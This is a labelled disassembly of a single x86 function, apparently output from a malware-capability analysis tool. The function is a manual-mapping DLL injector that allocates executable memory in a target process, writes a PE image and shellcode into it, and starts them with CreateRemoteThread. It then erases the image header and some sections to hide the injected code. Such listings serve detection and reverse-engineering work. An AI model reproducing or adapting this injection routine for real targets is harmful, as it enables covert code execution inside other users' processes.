Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
push esi
push edi
lea edi, [ebp - 0xc0]
mov ecx, 0x30
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 0xc]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x40105b
push str.Invalid_file_n
call fcn.00401db0
add esp, 4
xor al, al
jmp 0x401a02
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0xc]
add eax, dword [edx + 0x3c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0x18
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, 4
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax]
cmp ecx, 0x14c
je 0x40109b
push str.Invalid_platform_n
call fcn.00401db0
add esp, 4
xor al, al
jmp 0x401a02
mov esi, esp
push 4
push 0x3000
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x38]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp esi, esp
call fcn.00407fc0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4010eb
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.00407fc0
push eax
push str.Target_process_memory_allocation_failed__ex__0x_X_n
call fcn.00401db0
add esp, 8
xor al, al
jmp 0x401a02
mov dword [ebp - 0x18], 0
mov esi, esp
lea edx, [ebp - 0x18]
push edx
push 0x40
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x38]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp esi, esp
call fcn.00407fc0
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov edx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x3c], edx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x38], eax
mov byte [ebp + 0x20], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp + 0x24]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x28], eax
movzx ecx, byte [ebp + 0x20]
mov dword [ebp - 0x24], ecx
mov esi, esp
push 0
push 0x1000
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.00407fc0
test eax, eax
jne 0x4011c3
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.00407fc0
push eax
push str.Cant_write_file_header_0x_X_n
call fcn.00401db0
add esp, 8
mov esi, esp
push 0x8000
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
xor al, al
jmp 0x401a02
mov ecx, dword [ebp - 4]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 4]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], 0
jmp 0x4011ef
mov edx, dword [ebp - 0x48]
add edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x44]
add eax, 0x28
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + 2]
cmp dword [ebp - 0x48], edx
je 0x401283
mov eax, dword [ebp - 0x44]
cmp dword [eax + 0x10], 0
je 0x40127e
mov esi, esp
push 0
mov ecx, dword [ebp - 0x44]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x10]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.00407fc0
test eax, eax
jne 0x40127e
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.00407fc0
push eax
push str.Cant_map_sections:_0x_x_n
call fcn.00401db0
add esp, 8
mov esi, esp
push 0x8000
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
xor al, al
jmp 0x401a02
jmp 0x4011dd
mov esi, esp
push 4
push 0x3000
push 0x1c
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp esi, esp
call fcn.00407fc0
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x4012ec
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.00407fc0
push eax
push str.Target_process_mapping_allocation_failed__ex__0x_X_n
call fcn.00401db0
add esp, 8
mov esi, esp
push 0x8000
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
xor al, al
jmp 0x401a02
mov esi, esp
push 0
push 0x1c
lea ecx, [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.00407fc0
test eax, eax
jne 0x40136f
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.00407fc0
push eax
push str.Cant_write_mapping_0x_X_n
call fcn.00401db0
add esp, 8
mov esi, esp
push 0x8000
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
mov esi, esp
push 0x8000
push 0
mov eax, dword [ebp - 0x4c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
xor al, al
jmp 0x401a02
mov esi, esp
push 0x40
push 0x3000
push 0x1000
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp esi, esp
call fcn.00407fc0
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jne 0x4013f9
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.00407fc0
push eax
push str.Memory_shellcode_allocation_failed__ex__0x_X_n
call fcn.00401db0
add esp, 8
mov esi, esp
push 0x8000
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
mov esi, esp
push 0x8000
push 0
mov edx, dword [ebp - 0x4c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
xor al, al
jmp 0x401a02
mov esi, esp
push 0
push 0x1000
push 0x401a80
mov ecx, dword [ebp - 0x50]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.00407fc0
test eax, eax
jne 0x40149e
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.00407fc0
push eax
push str.Cant_write_shellcode_0x_X_n
call fcn.00401db0
add esp, 8
mov esi, esp
push 0x8000
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
mov esi, esp
push 0x8000
push 0
mov edx, dword [ebp - 0x4c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
mov esi, esp
push 0x8000
push 0
mov ecx, dword [ebp - 0x50]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
xor al, al
jmp 0x401a02
mov eax, dword [ebp - 0x10]
push eax
push str.Mapped_DLL_at__p_n
call fcn.00401db0
add esp, 8
mov ecx, dword [ebp - 0x4c]
push ecx
push str.Mapping_info_at__p_n
call fcn.00401db0
add esp, 8
mov edx, dword [ebp - 0x50]
push edx
push str.Shell_code_at__p_n
call fcn.00401db0
add esp, 8
push str.Data_allocated_n
call fcn.00401db0
add esp, 4
push 0x401a80
push str.My_shellcode_pointer__p_n
call fcn.00401db0
add esp, 8
mov eax, dword [ebp - 0x50]
push eax
push str.Target_point__p_n
call fcn.00401db0
add esp, 8
mov esi, esp
push 0
push 0
mov ecx, dword [ebp - 0x4c]
push ecx
mov edx, dword [ebp - 0x50]
push edx
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp esi, esp
call fcn.00407fc0
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jne 0x4015ab
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.00407fc0
push eax
push str.Thread_creation_failed_0x_X_n
call fcn.00401db0
add esp, 8
mov esi, esp
push 0x8000
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
mov esi, esp
push 0x8000
push 0
mov eax, dword [ebp - 0x4c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
mov esi, esp
push 0x8000
push 0
mov edx, dword [ebp - 0x50]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
xor al, al
jmp 0x401a02
mov esi, esp
mov ecx, dword [ebp - 0x54]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.00407fc0
mov esi, esp
push 0x1400000
call dword [sym.imp.ucrtbased.dll_malloc]
add esp, 4
cmp esi, esp
call fcn.00407fc0
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x4015f2
push str.Unable_to_allocate_memory_n
call fcn.00401db0
add esp, 4
xor al, al
jmp 0x401a02
push 0x1400000
push 0
mov edx, dword [ebp - 0x58]
push edx
call sub.VCRUNTIME140D.dll_memset
add esp, 0xc
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x401640
mov esi, esp
push 0
push 0x1000
mov ecx, dword [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.00407fc0
test eax, eax
jne 0x401640
push str.WARNING_:_Cant_clear_HEADER_n
call fcn.00401db0
add esp, 4
movzx ecx, byte [ebp + 0x18]
test ecx, ecx
je 0x4018b8
mov edx, dword [ebp - 4]
movzx eax, word [edx + 0x14]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 0x18]
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x5c], 0
jmp 0x401678
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x44]
add ecx, 0x28
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0xc]
movzx eax, word [edx + 2]
cmp dword [ebp - 0x5c], eax
je 0x4018b8
mov ecx, dword [ebp - 0x44]
cmp dword [ecx + 8], 0
je 0x4018b3
movzx edx, byte [ebp + 0x20]
test edx, edx
je 0x4016a9
mov dword [ebp - 0x80], 0
jmp 0x401759
mov dword [ebp - 0x84], str..pdata
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x88]
mov dl, byte [ecx]
mov byte [ebp - 0x89], dl
mov eax, dword [ebp - 0x84]
cmp dl, byte [eax]
jne 0x40171a
cmp byte [ebp - 0x89], 0
je 0x40170e
mov ecx, dword [ebp - 0x88]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x8a], dl
mov eax, dword [ebp - 0x84]
cmp dl, byte [eax + 1]
jne 0x40171a
add dword [ebp - 0x88], 2
add dword [ebp - 0x84], 2
cmp byte [ebp - 0x8a], 0
jne 0x4016bc
mov dword [ebp - 0x90], 0
jmp 0x401725
sbb ecx, ecx
or ecx, 1
mov dword [ebp - 0x90], ecx
mov edx, dword [ebp - 0x90]
mov dword [ebp - 0x94], edx
cmp dword [ebp - 0x94], 0
jne 0x401746
mov dword [ebp - 0x98], 1
jmp 0x401750
mov dword [ebp - 0x98], 0
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jne 0x401889
mov dword [ebp - 0x9c], str..rsrc
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xa0], ecx
mov edx, dword [ebp - 0xa0]
mov al, byte [edx]
mov byte [ebp - 0xa1], al
mov ecx, dword [ebp - 0x9c]
cmp al, byte [ecx]
jne 0x4017d4
cmp byte [ebp - 0xa1], 0
je 0x4017c8
mov edx, dword [ebp - 0xa0]
mov al, byte [edx + 1]
mov byte [ebp - 0xa2], al
mov ecx, dword [ebp - 0x9c]
cmp al, byte [ecx + 1]
jne 0x4017d4
add dword [ebp - 0xa0], 2
add dword [ebp - 0x9c], 2
cmp byte [ebp - 0xa2], 0
jne 0x401776
mov dword [ebp - 0xa8], 0
jmp 0x4017df
sbb edx, edx
or edx, 1
mov dword [ebp - 0xa8], edx
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
je 0x401889
mov dword [ebp - 0xb0], str..reloc
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xb4], ecx
mov edx, dword [ebp - 0xb4]
mov al, byte [edx]
mov byte [ebp - 0xb5], al
mov ecx, dword [ebp - 0xb0]
cmp al, byte [ecx]
jne 0x401869
cmp byte [ebp - 0xb5], 0
je 0x40185d
mov edx, dword [ebp - 0xb4]
mov al, byte [edx + 1]
mov byte [ebp - 0xb6], al
mov ecx, dword [ebp - 0xb0]
cmp al, byte [ecx + 1]
jne 0x401869
add dword [ebp - 0xb4], 2
add dword [ebp - 0xb0], 2
cmp byte [ebp - 0xb6], 0
jne 0x40180b
mov dword [ebp - 0xbc], 0
jmp 0x401874
sbb edx, edx
or edx, 1
mov dword [ebp - 0xbc], edx
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jne 0x4018b3
mov esi, esp
push 0
mov ecx, dword [ebp - 0x44]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x10]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.00407fc0
jmp 0x401666
movzx ecx, byte [ebp + 0x1c]
test ecx, ecx
je 0x4019a2
mov edx, dword [ebp - 4]
movzx eax, word [edx + 0x14]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 0x18]
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x60], 0
jmp 0x4018f0
mov eax, dword [ebp - 0x60]
add eax, 1
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x44]
add ecx, 0x28
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0xc]
movzx eax, word [edx + 2]
cmp dword [ebp - 0x60], eax
je 0x40196f
mov ecx, dword [ebp - 0x44]
cmp dword [ecx + 8], 0
je 0x40196a
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x70], 2
mov edx, dword [ebp - 0x44]
mov eax, dword [edx + 0x24]
and eax, 0x80000000
jbe 0x401929
mov dword [ebp - 0x70], 4
jmp 0x40193e
mov ecx, dword [ebp - 0x44]
mov edx, dword [ecx + 0x24]
and edx, 0x20000000
jbe 0x40193e
mov dword [ebp - 0x70], 0x20
mov esi, esp
lea eax, [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x44]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x10]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp esi, esp
call fcn.00407fc0
jmp 0x4018de
mov dword [ebp - 0x78], 0
mov esi, esp
lea ecx, [ebp - 0x78]
push ecx
push 2
mov edx, dword [ebp - 4]
movzx eax, word [edx + 0x14]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + eax + 0x24]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp esi, esp
call fcn.00407fc0
mov esi, esp
push 0
push 0x1000
mov edx, dword [ebp - 0x58]
push edx
mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.00407fc0
mov esi, esp
push 0x8000
push 0
mov edx, dword [ebp - 0x50]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
mov esi, esp
push 0x8000
push 0
mov ecx, dword [ebp - 0x4c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, esp
call fcn.00407fc0
mov al, 1
push edx
mov ecx, ebp
push eax
lea edx, [0x401a28]
call fcn.00407f50
pop eax
pop edx
pop edi
pop esi
add esp, 0xc0
cmp ebp, esp
call fcn.00407fc0
mov esp, ebp
pop ebp
ret